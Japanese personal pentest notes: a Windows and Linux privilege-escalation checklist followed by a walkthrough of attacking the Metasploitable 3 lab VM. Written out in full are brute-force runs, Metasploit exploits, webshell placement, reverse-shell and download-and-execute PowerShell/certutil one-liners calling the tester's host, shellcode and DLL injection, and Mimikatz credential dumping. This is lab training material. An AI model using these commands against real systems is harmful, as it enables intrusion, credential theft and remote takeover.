自分のグループの権限、ほかのユーザーの権限などを調べて、どのユーザーのプロセスを使えば権限昇格できるかを確認する
RDPできるユーザーも確認
Network
powerless.bat
の
------- Network shares ------- ------- Firewall ------ ------ Network information ------ ------- Current connections and listening ports -------
Privilege
powerless.bat
の
PRIVILEGES INFORMATION ----------------------
powerless.bat
,SharpUp.ps1
,Seatbelt.exe
などで注目すべき権限を持っているかどうか確認
SeImpersonatePrivilege
を持っていてx64の場合、Juicy Potatoが有効
環境変数のチェック
powerless.bat
の
------- Environment Variables -------
Seatbelt.exe
などで確認
PATHに書き込みができる場合は、DLLHijackやフルパスでないコマンドの実行などいろいろ悪用できるためチェックしておく
Find-PathDLLHijack
を使っても確認できる
Process
jaws
の
----------------------------------------------------------- Processes -----------------------------------------------------------
JAWS
,Seatbelt.exe
で確認
手動では
tasklist /v /fi "username eq system" tasklist /v
Services
powerless.bat
の
------- Services Currently Running (check for Windows Defender or Anti-virus) ---------
JAWS
,Seatbelt.exe
で確認
手動では、
tasklist /SVC wmic service list brief net start
Sceduled Tasks
powerless.bat
の
------- Scheduled Tasks Names Only -------
jaws
の
----------------------------------------------------------- Scheduled Tasks -----------------------------------------------------------
JAWS
で確認
SYSTEMで実行されて、上書き可能なものを探す。
手動では、
schtasks /query /fo LIST /v
writiable
file/Directory
powerless.bat
の
--- Program Files and User Directories where everybody (or users) have full or modify permissions ---
jaws
の
----------------------------------------------------------- Files with Full Control and Modify Access ----------------------------------------------------------- ----------------------------------------------------------- Folders with Full Control and Modify Access ----------------------------------------------------------- ----------------------------------------------------------- Potentially Interesting Files in Users Directory -----------------------------------------------------------
beRoot
,powerless.bat
,PowerUp.ps1のInvoke-AllChecks
,SharpUp.exe
SharpUp.exe
でPATH変数
に含まれるディレクトリに書き込めるかも確認
できるならDLLHijackの可能性が残る
Service
powerless.bat
の
--------------- AccessChk (checks permissions for Authenticated Users, Everyone, and Users)------------------ --- Accesschk World writeable folders and files ---- --- Accesschk services with weak permissions --- --- Accesschk services that we can change registry values for (such as ImagePath) ---
PowerUp
の
[*] Checking service executable and argument permissions... [*] Checking service permissions... [*] Checking %PATH% for potentially hijackable DLL locations... [*] Checking for modifidable registry autoruns and configs... [*] Checking for modifiable schtask files/configs...
windows-priv-check
の
------------------------------------------------------------------ Title: DLLs Used by Running Processes Can Be Modified On Disk ------------------------------------------------------------------ Title: Windows Service Executable Is Missing
SharpUp.exe
accesschk.exe -ucqv wampapache
Get-Acl -Path HKLM:\System\CurrentControlSet\Services\regsvc
**Process**,**Services**で、SYSTEMなどの昇格できるユーザーで動作しているサービスに対しては価値があるので書き込みができるかどうか確認
それ以外の低権限のサービスは見ない
`RW`が**NT AUTHORITY\Authenticated Users**などに与えられているか確認
また、レジストリキーが書き込み可能なら、`ImagePath`などを書き換えることができる
unquoted file path
powerless.bat
の
---Unquoted Service Paths (requires that the directory from which this script is run is user writeable. If it is not, you can use the WMIC command below) ---
JAWS
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
引用符で囲まれていないかつ、PATHに空白を含む場合、PATHの途中にバイナリを設置してそれを実行させられる
AlwaysInstallElevated
powerless.bat
の
--- AlwaysInstallElevated Check ---
SharpUp.exe
で1
かどうか確認
Get System
beRoot
,Get-System -Technique NamedPipe
で確認
Credential
- stored credentials
powerless.bat
の-- Stored Passwords -- -- Checking for any accessible SAM or SYSTEM files -- --- Searching Registry for Passwords ---
cmdkey /list
powerless.bat
の---Search for Configuration and sensitive files--- -- Broad search for config files -- --- Broad search for any possible config files which may contain passwords ---手動では、
dir /s /b /a C:\ | findstr /i 'pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml' dir /s /b /a C:\ | findstr /i "pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml
powerup
の[*] Checking for unattended install files...
SharpUp.exe
で確認type C:\Windows\system32\sysprep.inf
type C:\Windows\system32\sysprep\sysprep.xml
where C:\sysprep.inf
where C:\sysprep\sysprep.xml
where %WINDIR%\Panther\Unattended.xml
where %WINDIR%\Panther\Unattend\Unattended.xml
`Seatbelt.exe`,`Session Gopher`
- Web root
C:\wamp\www\PHP>type config.php
- Others
----------------------------------------------------------- System Files with Passwords -----------------------------------------------------------`PowerUp`の
[*] Checking for encrypted web.config strings... [*] Checking for encrypted application pool and virtual directory passwords... [*] Checking for plaintext passwords in McAfee SiteList.xml files.... [*] Checking for cached Group Policy Preferences .xml files....
Sealbelt.exe
で確認type wampmanager.ini | find /I "password"
where Services.xml
where ScheduledTasks.xml
where Printers.xml
where Drivers.xml
where DataSources.xml
C:\Devtools
のような開発者のコメントが見込める場所
`.ini`,`.config`,`.xml`,`.txt`などのファイルを見るC:\Windows\System32>dir /s *pass* == *cred* == *vnc* == *.config*
C:\Windows\System32>findstr /si password *.xml *.ini *.txt
C:\Windows\System32>reg query HKLM /f password /t REG_SZ /s
これらは後回しにして後でじっくり見た方がよさそう
効果的な見方(目星の付け方など)はよくわからない
ざっと見て特になかったら後回しにしてもよさそう
Kernel Exploit
python windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
この中からPEできそうなExploitを選ぶ
Patch未適応なものをEnumしてるだけなので、PEとは無関係なExploitもあるため見極める(todo)searchsploit windows microsoft privilege escalation | grep -vi 'dos' | grep local | grep -vi 'x86-64' | grep '\ 7\ '
実行する際に以下を参考にする
github.comuse post/multi/recon/local_exploit_suggester
metasploitを使えばExploitの実行にほぼ時間はかからないので、ちゃっちゃとやるのもありといえばあり(?)Google
ググるのも大事
以下にいろんなコンパイル済みのバイナリがある。
ありがてえ……!!!
github.com
Drivers
DRIVERQUERY
量が多すぎるので後回し
Programs
powerless.bat
の
-------- Exploring program directories and C:\ --------- --- Program Files --- --- Program Files (x86) --- --- Root of C:\ ----
jaws
の
----------------------------------------------------------- Installed Programs -----------------------------------------------------------
windows-priv-checks
の
------------------------------------------------------------------ Title: Vulnerable Software Version Installed
powerless.bat
,JAWS
で確認
TODO
その他
怪しいファイルに読み込み権限しかない場合、コピーしてradare2
などで解析して、フルパスではなく呼び出されているようなコマンドなどを調べる。
その場合、PATH変数のディレクトリに書き込むことで任意の実行ファイルを実行させる
これらを見ても見つからない場合、以下を参照していく
post exploit
- Pass the Hash
- fgdump.exe
- wce
use post/windows/gather/hashdump
todo
- fgdump.exe
Linuxの場合
privilege escalation
Information Gathering(Enum)
情報収集
- LinEnum.sh
- linuxprivchecker.py
- suid3num.py
- linpeas.sh
- lse.sh
- uptux.py
これらのツールを使ってまずは以下をざっくりと調べる
深追いはしない。怪しければTodoに優先度順に追加していく - system
linpeas.sh
Kernel versionなど
3.3.0
などの低い状態であればKernel Exploitが期待できる - Users
linpeas.sh
userからデフォルトではないユーザー名、その権限で動くSoftwareがわかる
/etc/passwd
,/etc/profile
などのユーザー名やクレデンシャルをWordlistに追加する - cron
linpeas.sh
- network
linpeas.sh
,linEnum.sh
iptables -L
などでFirewallによって外部からは見えないようなサービスが動いていないか確認(mysqlなど) - process
linpeas.sh
,LinEnum.sh
怪しい場所(/opt/など)で動作しているプロセスがないか確認 - SUID/SGID
linpeas.sh
,suid3num.py
Defaultでビットが立っていない実行ファイルなどを確認 - Software
linpeas.sh
で入っているサービスを確認できる - sudo/mysql version
これらのバージョンを確認 - config files
LinEnum.sh
設定ファイル(sshd_confなど)を確認する
find -iname '*config*'
などで/var/www/html
やその他のSoftwareの設定ファイルを探す
クレデンシャルが書いてあることもある
cat /etc/ssh/sshd_config
PasswordAuthentication
PermitRootLogin
RSAAuthentication
PubKeyAuthentication
AuthorizedKeysFile
等を確認してパスワードBruteForceができるのか確認。
秘密鍵がないかどうか確認
- writable files/directories
linpeas.sh
root
が所有者でその他が書き込める実行ファイルがないかどうか確認 credential/password
linpeas.sh
find . | xargs grep "password"
などで探す
Web rootやその他のSoftwareがある場所で行うfind -iname '*config*'
cat /etc/passwd
grep -vE "nologin|false" /etc/passwd
mysql -h 127.0.0.1 -u root -p
databaseから得られたハッシュをjohn
などでクラック
cewl
で得られたWordlistでもクラックする
/opt, /var, /home/user, /usr/src, /usr/local/src, /mediaを確認
これらの場所でSoftwareが動いていないかなど確認- sudo -l / su
自分がsudo
できるのかどうかは絶対に確認
得られたクレデンシャルでsu
でほかのユーザーに昇格できるか試す
他のユーザーならsudo
できる可能性は高い
- LinEnum.sh
Enum Kernel Exploit
- kernelpop
- linux-exploit-suggester.sh
- Linux_Exploit_Suggester.pl
- linux-exploit-suggester-2.pl
- BeRoot
- auto_priv_exploit.sh
これはKernelバージョンと調べて、Kaliで動かす
github.com
- searchsploit
searchsploit kernel local privilege escalation linux | grep -vi 'x86-64' | grep -i '\ 3.' | grep -vi '<\ 3.1'
- Google
これらの中から最も動きそうなものを2~3個までなら試す。
深追いしない
対象上でコンパイルする方がよい。
実行する時、Shellはできるだけ良いものがよい
- kernelpop
Exploit
得られたクレデンシャルで別のユーザーとしてログイン試行
hydra -l root -P wordlist.txt -t 4 192.168.56.16 ssh
コマンドの悪用
sudo -l
gtfobins.github.io
SUID, SGIDが立っている怪しい実行ファイルはExploitを確認
Exploit Software
Linpeas.sh
[Services]にあるサービスのバージョンを確認するps -aux
- /var/
- /opt/
- /usr/src/
- /usr/local/src
- /home/user/
- /media/
など変な場所にInstallされているソフトは怪しい
- /var/
cat /etc/passwd
UIDが1000以上のユーザーが登録されている場合、そのユーザーで動作するソフトがInstallされているかもで怪しいnetstat -antup
Firewallによって外部からは見えないようなソフトが動いていないかどうか確認dpkg -l
rpm -qa
- Exploit Kernel
上記のツールで得られたExploitを試す
searchsploit
も試す
post exploit
ifconfig
IPやNICをほかにもっていないかを見て、他のNetworkにつながっていないかどうか確認/.ssh/id_rsa
秘密鍵があればコピーしておく
別のマシンにこの秘密鍵を使って公開鍵認証でSSHログインできるかもcat /etc/shadow
/etc/passwd
と/etc/shadow
はコピーしてクラックしておく
同じPasswordが別のマシンで使われているかも/tmp/krb5*
Kerberosチケットの取得。/home/*/.gnupg/secring.gpgs
PGP Keyの取得。
最後に
参考になれば幸いです。
この記事はどんどんアップデートして付け足していくので、時間がたったら内容がだいぶ変わってると思います。
なんかアドバイスとかあればぜひ!
Metasploitable 3:攻略ノススメ
- ポートスキャン
- Webサービスの調査
- ftpの調査
- sshの調査
- snmp(161)の調査
- smb(445)の調査
- Java RMI(1617)の調査
- Windows Remote Management (WinRM)(5985)の調査
- Elasticsearch(9200)の調査
- Webサービスの攻撃
- Reverse Shell
- Local Privilege Escalation
- 参考文献
- 最後
ポートスキャン
nmap -p- -sV -sT -A 192.168.56.35
python3 autorecon.py 192.168.56.35
cat notes.txt
[*] ftp found on tcp/21. [*] ssh found on tcp/22. [*] http found on tcp/80. [*] ssl/appserv-http found on tcp/4848. [*] http found on tcp/8022. [*] http found on tcp/8080. [*] ssl/http found on tcp/8383. [*] wap-wsp found on tcp/9200. [*] msrpc found on tcp/49153. [*] msrpc found on tcp/49154. [*] java-rmi found on tcp/49160. [*] tcpwrapped found on tcp/49161. [*] snmp found on udp/161. [*] java-rmi found on tcp/1617. [*] http found on tcp/5985. [*] http found on tcp/8020. [*] unknown found on tcp/8027. [*] http found on tcp/8282. [*] http found on tcp/8484. [*] http found on tcp/8585.
cat _full_tcp_nmap.txt
参考
github.com
Webサービスの調査
80ポートの調査
nikto -h 192.168.56.35:80
とくになし
5985ポートの調査
nikto -h 192.168.56.35:5985
8020ポートの調査
nikto -h 192.168.56.35:8020
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8020/FUZZ
8020ポートの調査
nikto -h 192.168.56.35:8022
8080ポートの調査
nikto -h 192.168.56.35:8080
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8080/FUZZ
8282ポートの調査
nikto -h 192.168.56.35:8282
8383ポートの調査
nikto -h 192.168.56.35:8383
8484ポートの調査
nikto -h 192.168.56.35:8484
8585ポートの調査
nikto -h 192.168.56.35:8585
ftpの調査
hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ftp
/usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
/usr/share/wfuzz/wordlist/general/big.txt
でも試してみたがダメだった。
Loginしてみる
クレデンシャル情報っぽいものは特に見つからなかった
sshの調査
hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ssh
/usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
/usr/share/wfuzz/wordlist/general/big.txt
でも試してみたがダメだった。
Loginしてみる
catなどができない。
cmdでWindowsのコマンドプロンプト起動!
powershellは起動させるとバグって操作できなくなる
type passwd
snmp(161)の調査
cat udp_161_snmp_snmpwalk_user_accounts.txt
AutoRecon
の出力結果を見ると、ユーザー一覧が列挙されている
sshd Guest greedo vagrant han_solo kylo_ren boba_fett chewbacca ben_kenobi jabba_hutt artoo_detoo c_three_pio darth_vader leia_organa sshd_server jarjar_binks Administrator luke_skywalker anakin_skywalker lando_calrissian
をuser.txt
として保存し、Login Bruteforceに使う
(ssh,ftpでも試したが、有効なのはvagrant
だけだった)
smb(445)の調査
- EternalBlue
EternalBlue は、「Windows SMB1.0(SMBv1)」サーバが特定のリクエストを処理する際のセキュリティ上の欠陥です。より具体的には、WindowsSMBv1 のコード内のカーネル関数「srv!SrvOs2FeaListToNt」による「File ExtendedAttribute(拡張ファイル属性、FEA)」処理時に「Large Non-PagedPool(ラージ非ページプール)領域」のバッファオーバーフローを発生させる脆弱性です。
use exploit/windows/smb/ms17_010_eternalblue
ほかの人のWriteupでは動いてらしいがなんか成功しない……
Java RMI(1617)の調査
Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい
Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
"jmx" AND ("javax.management.remote.rmi.RMIServerImpl_Stub" OR "java.rmi.server.RemoteStub" OR "java.rmi.server.RemoteObject") AND "exploit"
などでNmapの結果をGoogleで調べるとMetasploitでExploitが見つかったので試す
use multi/misc/java_jmx_server
Windows Remote Management (WinRM)(5985)の調査
5985ポートのMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)
はWindows Remote Management (WinRM)らしい
Windows を遠隔で操作する仕組み
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
ログインできないと、Remote Code Executionはできないらしい。
ブルートフォースしてみたがダメ…
Mimikatz
を使用してクレデンシャル情報を取得する方法もあるらしいが今回は得られなかった(後述)
参考文献
pentestlab.blog
Elasticsearch(9200)の調査
Elasticsearch は Elastic 社が開発しているオープンソースの全文検索エンジンです。 大量のドキュメントから目的の単語を含むドキュメントを高速に抽出することができます。
nmapの結果から、バージョンは1.1.1であるとわかる
- use auxiliary/scanner/elasticsearch/indices_enum
- ElasticSearch Dynamic Script Arbitrary Java Execution
Googleで調べると、このバージョンは上記の脆弱性があるらしい
CVE-2014-3120
use exploit/multi/elasticsearch/script_mvel_rce
Webサービスの攻撃
8020 8022 8383ポート(ManageEngine)への攻撃
curl -v -X PUT -d "Test" http://192.168.56.35:8020/test.txt
niktoではPUTが可能と書いてあるので上記を試したがエラー
書き込み権限がないらしい(当然っちゃ当然か?)
upload
やdoc
,api
などには権限がなくアクセスできなかった。
デフォルトのクレデンシャル情報でLoginを試す!
User=admin, pass=adminでログイン成功!
version情報から有効なExploitを探す
- ManageEngine Desktop Central StatusUpdate - Arbitrary File Upload (Metasploit)
が有効っぽい?
This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral v7 to v9 build 90054 (including the MSP versions).
となっているのでBuild番号自体はExploit可能ではないが……
www.exploit-db.com
にMetasploitのExploitがあるが、Metasploit以外のExploitを探すと以下がヒット
manage-engine-exploit.py · GitHub
のExploitを実行してみると成功!
- python2 manageengine_exploit.py 192.168.56.35 8022 192.168.56.5 5555
Metasploitを使うと以下のようになる
- use exploit/windows/http/manageengine_connectionid_write
8282(tomcat)の攻撃
/host-manager/html
/manager/html
にTomcat managerが存在する
今回はtomcat8なので、デフォルトアカウントが存在しない(7以前には存在)
以下のLogin Brute Forceが有効!
https://www.obrela.com/blog/article/smart-way-brute-force-apache-tomcat-678/www.obrela.compython2 tomcat_bruteforce2.py -u user2.txt -p user2.txt -d 192.168.56.35:8282
また、GoogleでExploitを探した結果、以下の脆弱性が見つかった
PUTが許可されているのでこの脆弱性がありそうな気がするが、JSPファイルの書き込みができず、脆弱ではないらしい。
- python2 /usr/share/exploitdb/exploits/jsp/webapps/42966.py -u http://192.168.56.35:8282/
どうやら403でアクセス権限(書き込み権限?)がない??
- use exploit/multi/http/tomcat_jsp_upload_bypass
でも403となって成功しなかった
8484(Jenkins)の攻撃
Javaで書かれたオープンソース継続的インテグレーションツール.
継続的インテグレーションとは、ソフトウェア開発において、ビルドやテストを頻繁に繰り返し行なうことにより問題を早期に発見し、開発の効率化・省力化や納期の短縮を図る手法。
特に、専用のツールを用いてこのプロセスを自動化あるいは半自動化し、効率的に実施する方式。
らしい
下の方にJenkinsのバージョンが見えている
Jenkinsには、Jenkinsマスターランタイム内またはエージェントのランタイム内で任意のGroovyスクリプトを実行できるGroovyスクリプトコンソールがあります。
JenkinsランタイムへのWebベースのGroovyシェルです。Groovyは非常に強力な言語であり、Javaでできることはほとんど何でも実行できます。
サブプロセスを作成し、Jenkinsマスターとエージェントで任意のコマンドを実行します。
ログインパスワードのないJenkinsを見つけた場合、またはスクリプトコンソールにアクセスする権限を持つ通常のユーザーである場合、この特権を悪用してマシンのリバースシェルを取得できる
今回は/script
でScript Consoleにアクセスできたのでそこからリバースシェルを実行できそう
以下を参考にする
www.hackingarticles.in
def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'ipconfig'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr"
を実行すると、以下のように結果が得られた
以下を埋め込むとリバースシェルを実行できる
gist.github.com
- use exploits/multi/http/jenkins_script_console
Metasploitにも存在
ちなみに、Googleで調べたExploitは不発
バージョンはピッタリなのになんでだろう?
8585(webdav,wordpress)の攻撃
Webdavの攻撃
davtest -url http://192.168.56.35:8585/uploads/
Webshellのアップロードが可能!
Wordpressの攻撃
wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u
wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
User=vagrant,password=vagrantでログイン
PluginのPHPコードを書き換える
なんかエラー出てるが、Webshellの設置成功!
/wordpress/wp-content/plugins/ninja-forms/ninja-forms.php?cmd=ls
Reverse Shell
wordpress
のWebshellからReverse shellを実行する
www.hackingarticles.innetcat
nc.exe -nlvp 4444 -e cmd.exe
bind shellは成功せずnc.exe 192.168.1.101 443 -e cmd.exe
reverse shellも成功せず
Certutil.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler set lhost 192.168.56.5 set lport 4444
certutil.exe -urlcache -split -f http://192.168.56.5/share/shell.exe shell.exe & shell.exe
ダメだった。
しかし、すでにSSHなどから得られているプロンプト上から実行するとうまく行った……
powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1');powercat -c 192.168.56.5 -p 4444 -e cmd"
で成功!!
Local Privilege Escalation
基本的に以下を参照する
github.com
https://www.puckiestyle.nl/windows-privilege-escalation/
Enum tools
windows-privesc-check2.exe
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/windows-privesc-check/windows-privesc-check2.exe\", \"C:\\Users\\Public\\Downloads\\windows-privesc-check2.exe\");
windows-privesc-check2.exe --audit -a
出力が多すぎない?
Sherlock
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Sherlock/Sherlock.ps1'))"
でダウンロードして実行
これらを試してみたが成功しなかった。
JAWS
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/JAWS/jaws-enum.ps1'))"
など
SessionGopher
PuTTY、WinSCP、FileZilla、SuperPuTTY、およびRDPの保存済みセッション情報を静かに掘り下げる
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/SessionGopher/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"
Beroot
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/BeRoot/beRoot.exe\", \"C:\\Users\\Public\\Downloads\\beRoot.exe\");
WindowsEnum
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/WindowsEnum/WindowsEnum.ps1'));"
Powerless
certutil.exe -urlcache -split -f "http://192.168.56.5:8000/Powerless/Powerless.bat"
Powerless.bat
出力多い……
参考
github.com
PowerUp.ps1
Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
- `unquoted servicepaths`<br>
- `service executable`<br>
- `argument permissions`<br>
に注目するらしい
Manual
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
””で囲まれていないパスやスペースがあるようなプロセスがあると、そのプログラムの代わりに悪意のあるプログラムをその場所に設置して実行されられるらしい。
以上で、””で囲まれていないようなプロセスを列挙している。
[f:id:kakyouim:20200216205526p:plain]- tomcat-users.xml
Tomcatはデフォルトではrootで起動しているのでtomcatのクレデンシャル情報の取得は権限昇格にも使えるかも cd C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf
type tomcat-users.xml
[f:id:kakyouim:20200216210745p:plain]
PowerSploit
Invoke-AllChecks
- Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
Install-ServiceBinary
Install-ServiceBinary -Name 'OpenSSHd'
既存のバイナリをjohnというユーザーを追加した新しいバイナリに置き換える
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Install-ServiceBinary -Name 'OpenSSHd'"
以下のようなエラーが発生
net stop OpenSSHd
で一度これを停止させてからやると成功!
net start OpenSSHd
で再起動しようとするとエラー。
SSHが使えなくなった……
net user
でjohnが追加されていることが確認できる!
net user john
で確認
- use exploit/windows/smb/psexec
ほかの人のWriteupではこれでuser=john,password=Password123!
でSYSTEM権限が得られていたが、なんかうまく行かない……
ちなみに、
Install-ServiceBinary -Name 'jenkins'
で同じく試すと別のerror。
Invoke-Shellcode.ps1
Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force
プロセスにshellcodeを注入して実行する
SYSTEM権限で実行されているプロセスに注入することで権限昇格できるかも
payloadは
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
しかサポートしてないらしいwget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Invoke-Shellcode.ps1'));Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force"
ProcessIDを指定しないと、現在のPowershellプロセスにshellcodeを注入するらしい
途中までうまく行ってたのになんかエラー
Invoke-DllInjection.ps1
- Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=5555 -f dll > msf.dll
で悪意のあるDLLを作成して標的のディスク上に配置しないといけない
DLL Injectionは現在実行中のプロセスに悪意のあるDLLの存在するパスを書き込んでロードさせるもの
ロードされたDLLはそのプロセスの権限で実行されるpowershell -Command "Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden"
powershell -Command "Get-Process notepad"
certutil.exe -urlcache -split -f "http://192.168.56.5/share/msf.dll"
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/CodeExecution/Invoke-DllInjection.ps1'));Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll"
ちなみに、SYSTEMで動いているであろうTomcatにDLLInjectionを試してみると、
となって失敗した。
どうやら管理者のPowershellじゃないとだめらしい。
参考
blog.opensecurityresearch.com
www.elastic.co
Get-VaultCredential
Get-VaultCredential
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/Exfiltration/Get-VaultCredential.ps1')); Get-VaultCredential"
なにも表示されなかった
Find-ProcessDLLHijack
Find-ProcessDLLHijack
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Find-ProcessDLLHijack "
こういうのが何個か結果として得られた
DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
アプリケーションが普通のディレクトリにInstallされていたり、""
で囲まれておらずスペースが含まれている場合にバイパスできる
Get-System
Get-System -Technique NamedPipe
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/Get-System.ps1')); Get-System -Technique NamedPipe"
権限の問題で失敗……
参考
yojimbosecurity.ninja
Get-DllLoadPath.ps1
Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll
のように使う
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PEtools/Get-DllLoadPath.ps1')); Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll"
参考
github.com
resources.infosecinstitute.com
Mimikatz
- mimikatz.exe
以下でダウンロードする。
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimidrv.sys\", \"C:\\Users\\Public\\Downloads\\mimidrv.sys\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimikatz.exe\", \"C:\\Users\\Public\\Downloads\\mimikatz.exe\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimilib.dll\", \"C:\\Users\\Public\\Downloads\\mimilib.dll\")"
以下でmimikatz.exeを実行してクレデンシャル情報を探すが、今回は失敗
mimikatz log version "sekurlsa::logonpasswords" exit
- Invoke-Mimikatz.ps1
以下でディスクに置かずに実行できるだめAVに引っかかりにくいらしい
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Mimikatz/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds"
Metasploit
sshを介して得たuser=vagrant
